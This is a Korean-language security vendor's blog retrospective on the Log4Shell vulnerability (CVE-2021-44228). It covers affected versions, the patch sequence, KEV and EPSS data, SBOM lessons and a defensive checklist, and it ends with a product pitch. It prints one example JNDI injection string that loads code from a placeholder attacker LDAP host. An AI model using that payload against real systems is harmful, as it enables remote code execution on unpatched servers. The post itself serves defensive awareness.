라운드버드 Hexamind Platform
홈문서블로그도입 문의
취약점

2026년 7월 23일 · 주식회사 라운드버드 · 약 9분

Log4Shell 회고 — CVE-2021-44228이 남긴 것

CVSS 10.0, 공개 당일 CISA KEV 등재. Log4Shell(CVE-2021-44228)이 SW 공급망 보안 실무에 남긴 교훈과 지금 점검해야 할 체크리스트를 1차 출처 기준으로 정리했습니다.

2021년 12월 공개된 Log4Shell(CVE-2021-44228) 은 자바 로깅 라이브러리 Apache Log4j 2의 JNDI 조회 기능을 악용한 원격 코드 실행(RCE) 취약점입니다.1 5년 가까이 지난 지금도 "공급망 취약점 대응"을 이야기할 때 가장 먼저 언급되는 대표적인 사례이며, 그럴 만한 이유가 있습니다.

한 장 요약

항목내용
CVECVE-2021-44228 (Log4Shell), 2021-12-10 공개1
CVSS v3.110.0 (Critical, 최고 등급)1
영향 버전Log4j 2.0-beta9 ~ 2.15.0 (보안 백포트 릴리스 2.3.1·2.12.2·2.12.3 제외)1
조치 버전2.15.0 1차 수정 후 우회·후속 이슈로 2.16.0 → 2.17.0 → 2.17.1 연쇄 패치23
CISA KEV2021-12-10(공개 당일) 등재, 실제 악용 확인·랜섬웨어 캠페인 사용 "Known"4
공격 형태로그에 기록되는 입력값에 JNDI 조회 문자열 주입 → 원격 코드 실행

이 취약점 공격은 매우 단순합니다. 사용자 입력이 로그로 기록되기만 하면, 아래와 같은 문자열 하나로 외부 서버의 코드를 로드시킬 수 있었습니다.

${jndi:ldap://attacker.example.com/exploit}

User-Agent 헤더, 채팅 메시지, 검색어 등 로그에 남는 모든 입력이 공격 표면이었습니다.

왜 '공급망' 사건인가

Log4j는 애플리케이션이 직접 선언한 의존성 못지않게 다른 라이브러리 안에 숨은 전이 의존성(transitive dependency) 으로 들어온 경우가 많았습니다. 그래서 사고 당시 대부분 조직의 첫 질문은 "우리가 Log4j를 쓰나?"가 아니라 "우리 시스템 어디에 Log4j가 들어있는지 아는 사람 있나?" 였습니다.

참고

이 질문에 즉답할 수 있는 조직과 없는 조직의 차이가 곧 SBOM(Software Bill of Materials, 소프트웨어 구성요소 목록)의 유무였습니다. 구성요소 목록이 없는 조직은 영향 범위 식별부터 다시 시작해야 했습니다.

악용 가능성 지표인 EPSS에서도 CVE-2021-44228은 공개 이후 지속적으로 최상위 구간을 유지해 왔습니다. 2026년 7월 23일 조회 기준(점수 산출일 2026-07-22) 점수 0.99999, 백분위 100%로 전체 CVE 가운데 최상위입니다.5 시점에 따라 변동하는 수치이므로, 현재 값은 FIRST EPSS에서 확인하는 것을 권장합니다.

남긴 교훈 세 가지

  1. 가시성이 대응 속도를 결정한다. 취약점 자체보다 소재 파악의 지연이 피해를 키웠습니다. SBOM은 단순한 문서가 아니라 사고 대응 도구이며, 각국 규제가 SBOM을 요구하게 된 배경이기도 합니다. 각국의 정책 흐름은 SW 공급망 보안 정책 정리 글에서 별도로 다룹니다.
  2. 심각도(CVSS)만으로는 우선순위를 정할 수 없다. CVSS 10.0이라는 최고 등급만으로는 충분하지 않습니다. 평소 누적된 다수의 High·Critical 취약점 가운데 실제 악용 여부(KEV)와 악용 가능성(EPSS) 신호를 함께 확인해야 진짜 시급한 취약점을 가려낼 수 있습니다.
  3. 패치는 한 번으로 끝나지 않았다. 1차 수정(2.15.0)을 우회해 특정 설정에서 원격 코드 실행이 다시 가능해진 CVE-2021-45046(CVSS 9.0)이 곧바로 공개되어 2.16.0이 나왔고, 무한 재귀로 서비스 거부를 일으키는 CVE-2021-45105는 2.17.0에서, 마지막 후속 이슈(CVE-2021-44832)는 2.17.1에서 수정되었습니다.23 CVE-2021-45046은 2023년 5월 KEV에 별도 등재되기까지 했습니다.4 일회성 조치가 아니라 지속 모니터링 체계가 필요합니다.
주의

Log4Shell은 아직 끝난 사건이 아닙니다. 미국 사이버안전심의위원회(CSRB)는 2022년 보고서에서 Log4j를 "풍토병적(endemic) 취약점"으로 평가하며 취약 인스턴스가 길게는 10년 이상 시스템에 남아 있을 것으로 전망했고,6 2025년에도 전 세계 Log4j 다운로드의 13%가 여전히 취약 버전이었다는 조사 결과가 있습니다.7 발견 3년이 지난 시점에도 가장 많이 악용되는 익스플로잇 가운데 하나로 관측되었습니다.8 과거 패치 이력에 의존하지 말고, 현재 구성요소 목록을 기준으로 실제 존재 여부를 확인해야 합니다.

오늘의 체크리스트

  • 운영 중인 제품·서비스의 SBOM이 존재하고, 빌드마다 갱신되는가?
  • 전이 의존성까지 포함해 특정 컴포넌트(예: log4j-core)의 위치를 몇 분 안에 조회할 수 있는가?
  • 신규 CVE가 우리 SBOM과 자동으로 매핑되어 알림이 오는가?
  • 우선순위 판단에 CVSS 외에 KEV 등재 여부·EPSS를 함께 쓰는가?
  • 벤더 납품 SW에 대해서도 구성 정보(SBOM)를 요구하고 있는가?

마치며

Log4Shell이 남긴 결론은 명확합니다. 구성요소를 모르면 방어할 수 없고, 우선순위 없이 전부 대응할 수도 없다. Hexamind Platform은 SBOM 기반 구성 가시성과 KEV·EPSS를 반영한 취약점 우선순위화로 구성요소 파악과 대응 우선순위 판단을 지원합니다. 제품 문서와 도입 문의에서 더 알아보세요.

참고 자료

각주

  1. NIST, 「NVD — CVE-2021-44228」 (2026-07-23 조회). 공개일·CVSS 10.0·영향 버전 서술 기준. ↩ ↩2 ↩3 ↩4

  2. Apache Software Foundation, 「Log4j Security Vulnerabilities」 (2026-07-23 조회). CVE-2021-45046(9.0 Critical, 2.16.0 수정)·CVE-2021-45105(5.9 Medium DoS, 2.17.0 수정). ↩ ↩2

  3. NIST, 「NVD — CVE-2021-44832」 (2026-07-23 조회). 2.17.1·2.12.4·2.3.2에서 수정. ↩ ↩2

  4. CISA, 「Known Exploited Vulnerabilities Catalog」 (2026-07-23 조회). CVE-2021-44228 dateAdded 2021-12-10, 랜섬웨어 캠페인 사용 "Known". CVE-2021-45046 dateAdded 2023-05-01. ↩ ↩2

  5. FIRST EPSS API, CVE-2021-44228 점수 0.99999·백분위 1.0 (점수 산출일 2026-07-22, 2026-07-23 조회). See EPSS at https://www.first.org/epss. ↩

  6. CSRB, 「Review of the December 2021 Log4j Event」 Executive Summary p. v (2022-07-11): "Log4j is an 'endemic vulnerability' … perhaps a decade or longer." ↩

  7. Sonatype, 「2026 State of the Software Supply Chain」. 2025년 전 세계 Log4j 다운로드의 13%가 취약 버전. ↩

  8. Cato Networks, 「Cato CTRL SASE Threat Report Q1 2024」. 발견 3년 후에도 최다 악용 익스플로잇 중 하나. ↩

CVE-2021-44228
Log4j
KEV
EPSS

← 이전 글

SW 공급망 보안 정책, 2026년 어디까지 왔나

← 블로그 목록으로